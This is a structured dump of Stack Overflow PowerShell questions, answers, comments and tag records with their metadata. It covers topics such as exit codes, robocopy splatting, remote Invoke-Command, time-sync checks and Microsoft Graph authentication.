comment on: http://stackoverflow.com/q/79339937
score: 0
type: QuestionComment
has text: Your script simply doesn't cover for the fact that for a missing printer the related port might already exist.
type: Comment

http://stackoverflow.com/comment/139911057
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79338576
has text: @MikeZetPL If you found a solution on your own: great, feel free to post an answer below, your experience might benefit future readers - but if your question still stands: please [update it](https://stackoverflow.com/posts/79338576/edit) with the actual details/measurements requested :)

http://stackoverflow.com/comment/139884531
has text: Please update your question using the [Edit] links below your question with all needed information! ... do not add additional information as comments. Thanks in advance. ... and please format your code as code.
type: QuestionComment
comment on: http://stackoverflow.com/q/79326018
type: Comment
score: 3

http://stackoverflow.com/comment/139753540
type: QuestionComment
has text: I mean mounting it as a disk letter. Im querying multiples iso
type: Comment
comment on: http://stackoverflow.com/q/79253460
score: 0

http://stackoverflow.com/q/79401172
tagged with: exit-code
has answer: http://stackoverflow.com/a/79403390
linked to: http://stackoverflow.com/q/4037939
score: 2
upvote count: 2
has title: Getting an exit code from powershell file invoked in C#
downvote count: 0
linked to: http://stackoverflow.com/q/49208084
tagged with: powershell
type: UnansweredQuestion
has body: I am trying to have a powershell script called from a C# program give me the exit code of the powershell script. I have attempted it a few ways with no success. The PSObject from the invoke call always has a count of 0. I have been using this C# code and the PSObject always has a count of 0 using (PowerShell ps = PowerShell.Create()) { ps.AddScript(File.ReadAllText(buildScript.ps1)); var psResults = ps.Invoke(); foreach (PSObject psObj in psResults) { var result = psObj.ToString()); } ps.Dispose; } I trimmed down the .PS1 file for testing and it looks like this. Start-Sleep -Seconds 30 Write-Host "Exit code is : 25" exit 25
tagged with: c#
tagged with: powershell-sdk
favorite count: 0
answer count: 2
type: Question
has answer: http://stackoverflow.com/a/79401189

http://stackoverflow.com/comment/139799438
type: QuestionComment
has text: Something like `sp_execute_external_script` perhaps? https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql?view=sql-server-ver16 perhaps? This is if you want native resultsets. Otherwise i guess you can return a json from your powershell script and parse it yourself (either through xp_cmdshell or via sql agent job). You can also implement a CLR stored procedure or (the horror) ODS extended dll procedure
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79278800

http://stackoverflow.com/a/79276891
answers question: http://stackoverflow.com/q/79273698
type: Answer
has body: Unfortunately, the solution I selected as correct, while extremely helpful, wasn't what I fully needed after all. Another solution which may be helpful in the case of RunAs is to simply write out to an .env file (just a text file): Script1.ps1 $env_var="My variable" Set-Content -Value $env_var -Path "$env:HOME\.env" # ... remainder of script, terminating in the Start-Process block Script2.ps1 # When it's relevant: Get-Content "$env:HOME\.env" This is was by far the least painful to implement, though it may not be ideal for production systems.
score: 0

http://stackoverflow.com/comment/140026249
comment on: http://stackoverflow.com/q/79400555
score: 1
has text: Try: `$OutputEncoding = [Console]::InputEncoding = [Console]::OutputEncoding = New-Object System.Text.UTF8Encoding`
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79394030
has body: A simple way to avoid the infinite recursion due to your wrapper function having the same name as the target executable is to invoke the executable with the .exe extension, i.e. robocopy.exe, or, as Jeff Zeitlin suggests, by its full path (which you can determine with (Get-Command robocopy.exe).Path, typically C:\WINDOWS\system32\Robocopy.exe) That said, consider using a different name for your wrapper function, so as to avoid confusion. However, as posted, your code fundamentally cannot work, because you cannot pass a string to Invoke-Command. Instead, you'd need Invoke-Expression in order to evaluate a string as code, which, however, is generally best avoided for this very reason; more secure and elegant solutions are typically available. Indeed, in the case at hand splatting offers a superior solution, as shown below: function Robocopy { param ( [Parameter(Mandatory)] [string] $Source, [Parameter(Mandatory)] [string] $Destination, [string[]] $ExcludeDirectories, [int] $MinAge = 0, [switch] $Recurse ) # Conditionally define array variables with optional arguments to be used # with splatting below. $excludeParam = if ($ExcludeDirectories) { @('/XD') + $ExcludeDirectories } $recursiveParam = @(if ($Recurse) { '/E' }) # Note the use of ".exe" and @ for splatting. # &, the call operator, is optional in this case; strictly speaking, you # only need it if the target executable is expressed as a quoted string # and/or in terms of variables. & robocopy.exe $Source $Destination @recursiveParam /MOVE /MINAGE:$MinAge @excludeParam /NP /LOG+:$logfile } Note: Splatting, which requires using the sigil @ in lieu of $ before an array variable,[1] causes the elements of the array to be passed as individual arguments to the target program, with PowerShell providing double-quoting automatically, on demand, based on whether a given element contains spaces. If a splatted variable is an empty array or $null (or the enumerable null, [System.Management.Automation.Internal.AutomationNull]…
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/79393374
type: Answer

http://stackoverflow.com/comment/140054108
comment on: http://stackoverflow.com/q/79415137
type: QuestionComment
has text: And what's your question? Your post is lacking details to address it.
type: Comment
score: 1

http://stackoverflow.com/a/79376203
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/139991103
upvote count: 2
accepted answer of: http://stackoverflow.com/q/79376139
downvote count: 0
answers question: http://stackoverflow.com/q/79376139
has comment: http://stackoverflow.com/comment/139980913
has body: Update For reference, OP has created the issue https://github.com/PowerShell/PowerShell/issues/24837 to address this bug. This is a bug in the provider, for now, the workaround is to actually ensure the destination folder exists before moving the items, in this case if you create the app folder inside copy before moving the items the issue is solved. In summary to handle it dynamically you could do: $destination = 'copy\app' if (-not (Test-Path $destination)) { $null = New-Item -ItemType Directory $destination } Move-Item -Path install\* -Destination $destination What I can tell you is that the issue is in SessionStateNavigation.cs#L1476-L1508 or deeper (see below demo), and that's as far as I'm willing to look. The Provider code is extremely complicated. # Setup for repro New-Item -ItemType 'Directory' -Path 'install\bin' New-Item -ItemType 'File' -Path 'install\bin\test.dll' New-Item -ItemType 'Directory' -Path 'install\lib' New-Item -ItemType 'File' -Path 'install\ReadMe.md' New-Item -ItemType 'Directory' -Path 'copy' # Issue can be reproduced by: $destination = 'copy\app' $destination = $ExecutionContext.SessionState.Path. GetUnresolvedProviderPathFromPSPath($destination) $null = Convert-Path .\install\* | ForEach-Object { $ExecutionContext.InvokeProvider.Item.Move($_, $destination) }
has comment: http://stackoverflow.com/comment/139991087
has comment: http://stackoverflow.com/comment/139991116
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139982224

http://stackoverflow.com/comment/139802703
score: 0
has text: Applying the technique from the linked duplicate to your case means: `Invoke-Command -ComputerName $server -argumentlist (, $apppools) ...`
comment on: http://stackoverflow.com/q/79278916
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139930679
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79349700
has text: @SantiagoSquarzon yup, unfortunately, it still fails. Let me just clarify where I'm getting the variable values: principalID == Object ID of the Managed Identity to which I'm trying to add the permissions resourceID == Application ID of the Microsoft Graph Enterprise Application appRoleId == Application ID of the role definition

http://stackoverflow.com/comment/140066427
has text: The filenames with single words did not convert to uppercase.
comment on: http://stackoverflow.com/a/79420203
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139976062
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/79370869
type: Comment
has text: Ah, good point. In that case, I suggest `@((($env:Path) | ConvertFrom-Csv -Delimiter ';' -Header (0..($env:Path -replace '[^;]').Length)).psobject.Properties.Value) -ne $null`

http://stackoverflow.com/comment/140017060
comment on: http://stackoverflow.com/q/79392354
has text: Should try `verbose` - Check this once- [how-to-run-a-powershell-script-with-verbose-output](https://stackoverflow.com/questions/41324882/how-to-run-a-powershell-script-with-verbose-output/41326064#41326064)
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139750888
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79251787
has text: Note that there's no need for metacharacter-individual escaping, given that you can use quoted strings, e.g. `Set-Alias mc "C:\Program Files (x86)\Midnight Commander\mc.exe"`
type: Comment

http://stackoverflow.com/comment/139795394
has text: Does `[System.IO.FileNotFoundException] 'No File Found!'` even work in pwsh 4?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79276698

http://stackoverflow.com/comment/139881301
score: 0
type: QuestionComment
has text: Keep the JPG that has a MOV file with the same name.
type: Comment
comment on: http://stackoverflow.com/q/79321927

http://stackoverflow.com/comment/139843401
score: 0
type: AnswerComment
has text: @Vicc, I see; that implies that your script is too large for its content to passed as a command-line _argument_. Please see the newly added bottom section, which shows a workaround based on a temporary `*.ps1` file.
comment on: http://stackoverflow.com/a/79299725
type: Comment

http://stackoverflow.com/comment/140012042
comment on: http://stackoverflow.com/q/79393374
type: Comment
has text: I have renamed it to Robocopy because before it was my Domain and Robocopy which i dont want here. I wouldnt call it that otherwise.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139753728
type: AnswerComment
comment on: http://stackoverflow.com/a/79251448
has text: I knew there was something that was simple that would fix the issue.
type: Comment
score: 0

http://stackoverflow.com/a/79362139
answers question: http://stackoverflow.com/q/79359686
accepted answer of: http://stackoverflow.com/q/79359686
type: AcceptedAnswer
has body: Solved: When storing these external users, exchange will replace the &quot;@&quot; symbol in the User Principle Name with an &quot;_&quot;, leaving the emails to look like this: exampleemail_outlook.com#EXT#@company.com. This issue was resolved by changing Select-Object -ExpandProperty UserPrincipalName to Select-Object -ExpandProperty Mail.
type: Answer
score: 0

http://stackoverflow.com/comment/139959383
has text: There's `docker start`, see [here](https://stackoverflow.com/a/39689438/8508004).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79364993
score: 0

runcommand
type: Tag
tag name: runcommand
tags question: http://stackoverflow.com/q/79277663

http://stackoverflow.com/q/79383065
tagged with: time-synchronization
score: 0
has comment: http://stackoverflow.com/comment/139992698
tagged with: windows
has comment: http://stackoverflow.com/comment/139999808
answer count: 2
type: Question
has body: I need help with checking time sync between Windows servers. Our environment consists of two regions and a mix of domain and workgroup servers. There are multiple child domain controller that the server gets time from, and there's several NTP server that provides time to the workgroup and non windows servers. I'm thinking to create a script to grab the source output from w32tm like below, D:\>w32tm /query /status Leap Indicator: 0(no warning) Stratum: 6 (secondary reference - syncd by (S)NTP) Precision: -23 (119.209ns per tick) Root Delay: 0.0407893s Root Dispersion: 1.8810856s ReferenceId: 0x0A097F3E (source IP: 1.2.3.4) Last Successful Sync Time: 24/1/2025 9:15:22 AM Source: Child-DC-E.domain.net Poll Interval: 10 (1024s) and then put it into a w32tm query. $ntpserver = "Source: Child-DC-E.domain.net" w32tm /stripchart /computer:$ntpserver /dataonly /samples:5 Currently I'm stuck at getting the output from $ntpserver because w32tm is not powershell command, so I don't know how to get the output as a string to be used in the next query. The script will be run the target servers individually by automation tool. We can't use powershell remoting as it's blocked by security. Appreciate if someone can advice or guide me to the right direction. Thank you in advance.
has title: PowerShell: script to check time sync
accepted answer: http://stackoverflow.com/a/79389976
tagged with: powershell
possible better answer: http://stackoverflow.com/a/79385414
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79389976
has answer: http://stackoverflow.com/a/79385414
has comment: http://stackoverflow.com/comment/140004802

http://stackoverflow.com/a/79265961
has body: Not a great idea to use PowerShell classes for GUI apps, in the context of the System.Windows.Window event handlers, $this is an automatic variable that represents the sender and $_ is an automatic variable that represents the event args. Because of this you lose the reference to the instance containing it. $this.button.Add_Click({ param($s, $e) # `$s` the sender, is the same as `$this` $s -eq $this | Out-Host # `$e` the event args, is the same as `$_` $e -eq $_ | Out-Host }) You could for example use $this.Parent.Parent to get to the parent System.Windows.Window, but to reference back the instance of your type you will most likely have to use Get-Variable with -Scope 1 (1 for the parent scope of the handler): $this.button.Add_Click({ [Window] $window = Get-Variable this -Scope 1 -ValueOnly -EA 0 $window.window.FindName('List').Items.Add('Item' + ($window.count++).ToString()) })
has comment: http://stackoverflow.com/comment/139776486
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79265890
score: 1
upvote count: 1

http://stackoverflow.com/comment/139739267
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79245269
type: AnswerComment
has text: what does $(devkey) (..) 5>,,,<321?Numero)1 do? it does not work,

http://stackoverflow.com/comment/139754342
has text: So requirement is you want to the access token?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79253851
score: 0

http://stackoverflow.com/comment/139833700
comment on: http://stackoverflow.com/q/79297671
score: 2
type: QuestionComment
type: Comment
has text: wouldnt it be simpler to add the parameter the default value: `param( .... [string]$Path = "C:\temp\db.jsonc")` then remove `Mandatory` but add `[ValidateNotNullOrEmpty()]` ?

http://stackoverflow.com/comment/139837777
score: 1
has text: You forgot the star. `[0-9][0-9][0-9][0-9]*` You don't need the -exclude.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79298131

http://stackoverflow.com/comment/139998183
type: Comment
has text: Glad to hear it helped, @user66001
score: 0
comment on: http://stackoverflow.com/a/79385714
type: AnswerComment

http://stackoverflow.com/comment/140016389
type: QuestionComment
comment on: http://stackoverflow.com/q/79395563
type: Comment
score: 0
has text: @KompjoeFriek I have fixed it! `Get-ChildItem` has been mentioned now in the Slow Script. I thought the slow script had it, but the slow script was missing it.

http://stackoverflow.com/comment/140044601
type: Comment
score: 0
has text: This worked! Thanks for the assist!
type: AnswerComment
comment on: http://stackoverflow.com/a/79404176

http://stackoverflow.com/comment/140047450
type: QuestionComment
comment on: http://stackoverflow.com/q/79406297
type: Comment
score: 0
has text: Anyway, since you have to deal with a file so badly constructed, I do believe you should give it another try and post the question again, but this time make sure you specify what you need as output more clearly. Things like _The Excel app says as well the file is broken and need repair_ means nothing and should be avoided in your post. Show a better example with 2 blocks of data so we can see how the text continues after the `Message-ID` line.

http://stackoverflow.com/comment/139837869
score: 0
comment on: http://stackoverflow.com/q/79296217
has text: P.S. FWIW, the `.psobject.copy()` method is also bandied around a lot in some other answers without near as much careful context given. e.g.: https://stackoverflow.com/questions/9581568/how-to-create-new-clone-instance-of-psobject-object
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139967463
has text: The posted UNC paths aren't consistent but they need to have a doubled backslash before the server name, i.e.: `\\ServerName\ShareName\... maybe more folders ...\filename.csv`.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79369758

http://stackoverflow.com/a/79366229
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79366200
type: Answer
score: 2
upvote count: 2
downvote count: 0
has body: When you do: $status = Invoke-Command -ComputerName $servers -Credential $Cred -ScriptBlock { Get-Service -Name $services .... } $services isn't defined in the context of your Invoke-Command, you should use either $using: or -ArgumentList to pass-in the values to the remote scope. I'd personally also discard the ping tests in your code, a server responding to icmp requests isn't an indication that you can connect to them via Invoke-Command, this cmdlet can also handle parallel invocation, meaning that the loop on $servers isn't required. In summary you could do this: Invoke-Command -ComputerName $servers -Credential $Cred -ScriptBlock { Get-Service -Name $using:services -ErrorAction SilentlyContinue | Select-Object Name, Status } -ErrorAction SilentlyContinue -ErrorVariable failedToConnect | Select-Object PSComputerName, Name, Status And then if you wanted to check which servers you couldn't connect, you can check the variable used in -ErrorVariable: # Gives you a list of all servers $failedToConnect.TargetObject
answers question: http://stackoverflow.com/q/79366200

http://stackoverflow.com/a/79319205
type: Answer
has body: Non-interactive way to authenticate to Azure AD using AADInternals? I agree with wenbo's comment, In AADInternals documentation and it seems that interactive login is required. AADInternals primarily focuses on advanced operations with Azure Active Directory and is often used interactively due to the sensitive nature of its functions. non-interactively, say through application-based authentication using Microsoft Graph? You can use Microsoft Graph PowerShell SDK is a more modern, reliable, and secure way to automate provisioning tasks in Microsoft Entra ID (formerly Azure Active Directory). The SDK supports non-interactive logins via service principals, making it perfect for automated workflows You can install PowerShell SDK through this MS-Document. Create an app registration in the portal and fetch the client ID, tenant ID, and client secret from the app. Also, assign API permission like below: Portal: You can use the below command thar will connect non-interactively to authenticate With Azure AD. Command: $clientId = &quot;&lt;value&gt;&quot; $SecuredPassword = &quot;&lt;value&gt;&quot; $tenantID = &quot;&lt;value&gt;&quot; $SecuredPasswordPassword = ConvertTo-SecureString ` -String $SecuredPassword -AsPlainText -Force $ClientSecretCredential = New-Object ` -TypeName System.Management.Automation.PSCredential ` -ArgumentList $clientId, $SecuredPasswordPassword Connect-MgGraph -TenantId $tenantID -ClientSecretCredential $ClientSecretCredential Get-Mguser Output: Welcome to Microsoft Graph! Connected via apponly access using 7xxxxxx3d Readme: https://aka.ms/graph/sdk/powershell SDK Docs: https://aka.ms/graph/sdk/powershell/docs API Docs: https://aka.ms/graph/docs NOTE: You can use the -NoWelcome parameter to suppress this message. DisplayName Id Mail UserPrincipalName ----------- -- ---- ----------------- Conf Room Adams fxxxxcb8-511a-4249-aa43-xxxxxxxxxxx Adams@xxxxxxxxxxxxx.OnMicrosoft.com Adams@xxxxxx.OnMicrosoft.com Adele Vance dacxxxxxxx05-4fc6-a787-90740bafxxx…
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79319017
accepted answer of: http://stackoverflow.com/q/79319017
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/140009804
type: QuestionComment
has text: You could workaround it by setting `[console]::TreatControlCAsInput` to `true` and using `[System.Console]::ReadKey` with intercept set to `true`
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79392142

http://stackoverflow.com/comment/139812701
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79286119
has text: You executing this invoke command on a remote computer?
score: 0

http://stackoverflow.com/a/79292424
upvote count: 2
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79292221
has comment: http://stackoverflow.com/comment/139824289
has comment: http://stackoverflow.com/comment/139824159
has body: Windows "Print" is the Microsoft legacy print text function from the days before windows. It will work with Text based files and in effect replaces "Copy portable file to port" but portable is a file.PRN not a file.PDF. This MAY work for printers that use "PDF Direct" or mPDF format (not a standard PDF). We can call the functions to print text (or RTF or minimal DocX) to PDF (or any installed printer driver) very easily so for example at a command send the following line. echo Hello World!>temp.txt & Write /pt temp.txt "Microsoft Print to PDF" "Microsoft Print to PDF" hello.pdf & timeout 4 & hello.pdf If your using Acrobat as a PDF handler then the common approach is with (non recommended) kill switch: $printer = Get-CimInstance -Class Win32_Printer -Filter "Name='Your Printer Name'" Invoke-CimMethod -InputObject $printer -MethodName SetDefaultPrinter $Directory = "\\Your PDFs Source\Folder" Get-ChildItem -path $Directory -recurse -include *.pdf | ForEach-Object { Start-Process -FilePath $_.fullname -Verb Print Start-sleep 10 get-process Acrobat | stop-process -Force remove-item $_.FullName -verbose -Force } As mentioned the default PDF handler in MS Windows is MS Edge (A Custom Chromium variation). It's printing command ability is only to produce via headless an image.PNG or vector.PDF from HTML CSS styled files. You could use it to command line print a "port.PDF" to any output port via VBS or JScript which are both native to the command shell. However that is considered "Old School" and very variable as it depends on timer variables. But is AFAIK the only "native out of box" solution. Thus native PowerShell has no simple way to auto print a PDF via Edge. But if you pop-up a PDF page the user can quickly print that manually. That is also a one line command with or without Edge. Take the example Hello.pdf from above and send command via : "C:\Program Files\Microsoft\Edge\Application\msedge.exe" -app="%cd%\hello.pdf" and we get a printable pop-up. All of these comman…

http://stackoverflow.com/a/79350193
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/79350174
downvote count: 0
has body: Ok, assuming you have an array $a2 with n elements, where n is a multiply of 4. For example: # array a2 with the values $a2 = @("id1", "title1", "desc1", "rew1", "id2", "title2", "desc2", "rew2"); Then you can iterate over the array like this: for (($i = 0); $i -lt $a2.Length/4; ($i++)) { Write-Host("Iteration " + $i); $a2[$i*4+0] $a2[$i*4+1] $a2[$i*4+2] $a2[$i*4+3] } Output: Iteration 0 id1 title1 desc1 rew1 Iteration 1 id2 title2 desc2 rew2

http://stackoverflow.com/comment/140076899
score: 0
comment on: http://stackoverflow.com/q/79416406
type: QuestionComment
type: Comment
has text: @mklement0 my apologies for the confusion. What edits would you like me to make to help with the resolution? I can provide the entire JSON file, but its thousands of lines. I am a novice at PowerShell and RegEx so I apologize for the lack of knowledge. I am willing to put in the work with your guidance and Iron too

http://stackoverflow.com/comment/140017874
comment on: http://stackoverflow.com/q/79394411
type: QuestionComment
type: Comment
score: 0
has text: Thanks Mathias. Seems I have not got the hang of scriptblocks. Could you explain further please. I have read up on scriptblocks, but am still confused.

http://stackoverflow.com/comment/139799345
has text: Yep, the Npcap install as part of wireshark got blocked by corporate policies. Running the installer elevated fixed this issue.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79276781
score: 0

http://stackoverflow.com/q/79344254
score: 1
favorite count: 0
tagged with: performance
type: Question
has body: Ex: I have a script that compares file information to a previously saved database file that has the same file information plus the calculated hash of each file. If the current file properties match what is already in the database file (modified date / size / ect), I inherit the stored hash file instead of recalculating it. However, this is done for thousands of files, and the "for-each" loop that tries to find a matching file index in the database to get the corresponding hash ends up taking a while (about 60 ms per file). I assume there is a way I can compare the array of file information to the saved database as a whole (instead of each file in a loop), and associate the corresponding hash file from the database in a single command, but it is not clear to me how to do that. Example of the code below (I've stripped out some of the progress update callbacks for clarity, and I've confirmed those are not adding substantial delay). The loop slows down when the corresponding hash is pulled from the "$AllOldSrcProps" which is the database I noted earlier. I just really want to compare the "$AllFiles" to "$AllOldSrcProps", and copy the "Hash" property from "$AllOldSrcProps" to "$AllFiles" when the other properties match. foreach ($file in $AllFiles) { if($file.FullName.StartsWith($SrcPath)){ $file.FullPotLength = $file.FullName.Length - $SrcLen + $ModLen $file.LocKey = $SrcKey #If we're not rebuilding the hash, recalculate if(-not($RebuildSrcHashTblFlag) -and $AllOldSrcProps){ $MatchingFile = @($AllOldSrcProps | ?{( $_.FullName -eq $file.FullName) -and ( $_.Length -eq $file.Length) -and ($_.LastWriteTime -eq $file.LastWriteTime.ToString())}) if($MatchingFile.Count -eq 1){ $file.Hash = $MatchingFile.Hash $MatchedHash[0] = $MatchedHash[0] +1 } } } }
has title: Is there an equivalent for the Matlab function "ismember" in Powershell?
tagged with: powershell-7.0
downvote count: 0
tagged with: automation
answer count: 1
type: AnsweredQuestion
tagged with: scripting
has comment: http://stackoverflow.com/comment/139923648
tagged with: powershell
has answer: http://stackoverflow.com/a/79344267
linked to: http://stackoverflow.com/q/72772327
accepted answer: http://stackoverflow.com/a/79344267
upvote count: 1

http://stackoverflow.com/comment/139740372
has text: _"Targeted applications must be designed to handle such cooperative termination requests..."_ This fact combined with what seems to be a variety of possible methods of signaling that termination request means that I expect that on Windows a command cannot be implemented that reliably requests successful cooperative termination of an arbitrary process.
comment on: http://stackoverflow.com/a/79245869
type: AnswerComment
score: 1
type: Comment

http://stackoverflow.com/comment/139813630
type: Comment
score: 0
has text: I'm aware, but the use case is finding the target path of .lnk shortcut files. If the shortcut path is longer than 260 characters, the ExtendedProperty('System.Link.TargetParsingPath') of New-Object -ComObject Shell.Application for that shortcut file returns the 8.3 name. If there is a better way to extract a shortcut target path that is pointing to a long path without having Powershell convert it to a shortname, I would love to use that instead.
type: QuestionComment
comment on: http://stackoverflow.com/q/79286482

http://stackoverflow.com/comment/139746386
type: AnswerComment
comment on: http://stackoverflow.com/a/79248980
type: Comment
score: 0
has text: _"And why would you want to send a CTRL+C to a job when Stop-Job already allows the job to run its clean block?"_ I don't think you would, but I'm not sure how that possibility could be reliably averted.

http://stackoverflow.com/comment/139758912
comment on: http://stackoverflow.com/q/79255264
type: QuestionComment
type: Comment
score: 0
has text: @lit _"How was the value of `$sourceId` determined?"_ Aahh...I should have shown that. I updated the question. `$sourceId` is just GUID to correlate event registration and listening.

http://stackoverflow.com/comment/139747125
comment on: http://stackoverflow.com/q/79249642
has text: thanks alot Mike Crowley, with this info i corrected my script and its working
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140027255
type: Comment
score: 0
type: AnswerComment
has text: @mattsg glad it helped :)
comment on: http://stackoverflow.com/a/79400938

attributes
tags question: http://stackoverflow.com/q/79378997
tag name: attributes
type: Tag

http://stackoverflow.com/a/79306178
answers question: http://stackoverflow.com/q/79306165
downvote count: 0
has body: Replace: -Value @{} with: -Value ([pscustomobject] @{})[1] @{} creates an empty hashtable rather than a [pscustomobject], and you want the latter. By using a hashtable, the subsequent Add-Member call decorated the empty hashtable stored in .ParentObject with a ChildProp ETS (Extended Type System) NoteProperty property, which was in effect ignored by ConvertTo-Json - only the empty hashtable itself was serialized and - given that serializing a hashtable to JSON means serializing its entries and there are none in your case - you ended up with an empty ParentObj property in the output JSON.[2] By contrast, a [pscustomobject] instance - which doesn't wrap an instance of another .NET type - is entirely composed of NoteType properties that are all considered first-class property citizens and therefore all serialize to JSON. [1] For historical reasons, [psobject] and [pscustomobject] refer to the same type, System.Management.Automation.PSObject, though only [pscustomobject] offers construction via an apparent cast from an apparent hashtable literal (@{ ... }), which is actually syntactic sugar. You can alternatively create an empty (property-less) instance with [psobject]::new() or New-Object psobject / New-Object pscustomobject. [2] It is debatable whether a NoteProperty member attached to a hashtable as a whole should be ignored for the purposes of to-JSON serialization or not. Objects that aren't enumerable do serialize with such properties, e.g. [datetimeoffset]::now | Add-Member -PassThru foo bar | ConvertTo-Json, although [string] and [datetime] instances are explicit exceptions - see GitHub issue #5797. The logic seems to be: if the object at hand is perceived to be a container for other objects (rather than an object with its own properties), which also applies to [array]s and similar list-like types, any ETS properties attached to the object itself are ignored. In the case of hashtables, this is somewhat at odds with the fact that they're often conceived of as sin…
type: Answer
upvote count: 1
score: 1

optimization
tag name: optimization
type: Tag
tags question: http://stackoverflow.com/q/79296160
tags question: http://stackoverflow.com/q/79475426

http://stackoverflow.com/a/79461959
answers question: http://stackoverflow.com/q/79406297
has comment: http://stackoverflow.com/comment/140137713
downvote count: 3
score: -3
type: Answer
upvote count: 0
has body: I tested following code and it works very well $logFilePath = "C:\temp\test.txt" $outputExcelPath = "C:\temp\test.xlsx" $reader = [System.IO.StreamReader]::new($logFilePath) $table = [System.Collections.ArrayList]::new() $pattern = '^(?<prefix>.{2})(? [A-Z\-a-z]+):(?<message>.*)|^(?<message>.*)' While(($line = $reader.ReadLine()) -ne $null) { if ($line -match '^\d{4}:\d{2}:\d{2}-\d{2}:\d{2}:\d{2}') { $date = $line.Substring(0,19) $text = $line.Substring(57) $match = $text | Select-String -Pattern $pattern if($match.Matches.groups[2].length -eq 0) #continuation line { $message = $text.Trim() $emailData.$oldHeader += $message } else ` { $prefix = $match.Matches.groups[1].value $header = $match.Matches.groups[2].value $message = $match.Matches.groups[3].value switch($header) { 'From' { $emailData = New-Object -TypeName psobject $emailData | Add-Member -NotePropertyName Date -NotePropertyValue $date $emailData | Add-Member -NotePropertyName Sender -NotePropertyValue $message.Trim() $table.Add($emailData) | out-null $oldHeader = 'Sender' } 'To' { $emailData | Add-Member -NotePropertyName Receiver -NotePropertyValue $message.Trim(); $oldHeader = 'Receiver' } 'CC' { $emailData | Add-Member -NotePropertyName CC -NotePropertyValue $message.Trim(); $oldHeader = 'CC' } 'Subject' { $emailData | Add-Member -NotePropertyName Subject -NotePropertyValue $message.Trim(); $oldHeader = 'Subject' } } } } } $table | Format-List

http://stackoverflow.com/a/79416356
upvote count: 1
type: AcceptedAnswer
has body: You can adapt the solution from this answer to a conceptually related question (the linked solution allows you to perform the same test for any given user, not just the current one): # Load the required assembly (a no-op if already loaded). # NOTE: No longer needed in PowerShell 7, where this assembly is preloaded. Add-Type -AssemblyName System.DirectoryServices.AccountManagement # See if the well-known SID of the local Administrators group # is among the SIDs of the groups that the user is a member of, # either directly or indirectly. [DirectoryServices.AccountManagement.UserPrincipal]::Current. GetAuthorizationGroups().SID.Value -contains 'S-1-5-32-544' In essence, this tells you whether the current user account is an administrator on the local machine in principle and whether it can therefore run as itself when elevation is requested.
answers question: http://stackoverflow.com/q/79410051
accepted answer of: http://stackoverflow.com/q/79410051
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/comment/139827224
type: Comment
has text: @Unbuckle glad it helped! yes you're right, `-Scopes` isnt needed in this case.
comment on: http://stackoverflow.com/a/79292290
score: 1
type: AnswerComment

http://stackoverflow.com/a/79351352
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79349700
has body: Need attention to the id you passed in. PrincipalId: the Object ID of the service principal, not the Application ID AppRoleId: the permission Id, It is related to the resourceId. If you set microsoft graph Group.Read.All, the example id is 5b567255-7703-4780-807c-7be8301ae99b, just check here resourceId: The service principal Object id of the resource. If the resource is Microsoft Graph, which have the Application ID 00000003-0000-0000-c000-000000000000, and the Object ID 3b7856dd-b583-4c67-aea4-fe8ec1af1dd0, Just use the Object Id, not the Application ID $headers = @{ "Content-Type" = "application/json" "Authorization" = "Bearer " + $Token } $uri = "https://graph.microsoft.com/v1.0/servicePrincipals/{0}/appRoleAssignments" -f $PrincipalId $body = @{ principalId = $PrincipalId resourceId = $ResourceId appRoleId = $AppRoleId } $bodyString = $body | ConvertTo-Json -Depth 10 $response = Invoke-RestMethod -Method Post -Uri $uri -Body $bodyString -Headers $headers return $response I have a example in postman, it is the same as script. Noting my passing Ids.

http://stackoverflow.com/a/79365203
type: AcceptedAnswer
type: Answer
has body: $vc_dest = '____DNSNAME2____' $vc = Connect-VIServer -Server $vc_dest ... $vcClient = $vc.GetClient() $token = $vcClient.ConnectivityService.GetSamlBearerToken() $spec.Location.Service.Credential.Token = $token.OuterXML ... This solution is damned annoying simple.
answers question: http://stackoverflow.com/q/79321769
score: 0
accepted answer of: http://stackoverflow.com/q/79321769

http://stackoverflow.com/comment/139901644
type: QuestionComment
has text: @RithwikBojja I also added a new task to print the directory structure, and I can't find the script folder at all...
type: Comment
comment on: http://stackoverflow.com/q/79335299
score: 0

http://stackoverflow.com/comment/139822187
score: 1
has text: @Adriaantje by omitting you mean there is no `, ''` in `-replace '(?m)^.+?:'` right? if so, yes, if you omit the 2nd argument it will just use an empty string
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79291392

git-clone
type: Tag
tags question: http://stackoverflow.com/q/79319936
tag name: git-clone

http://stackoverflow.com/comment/139975418
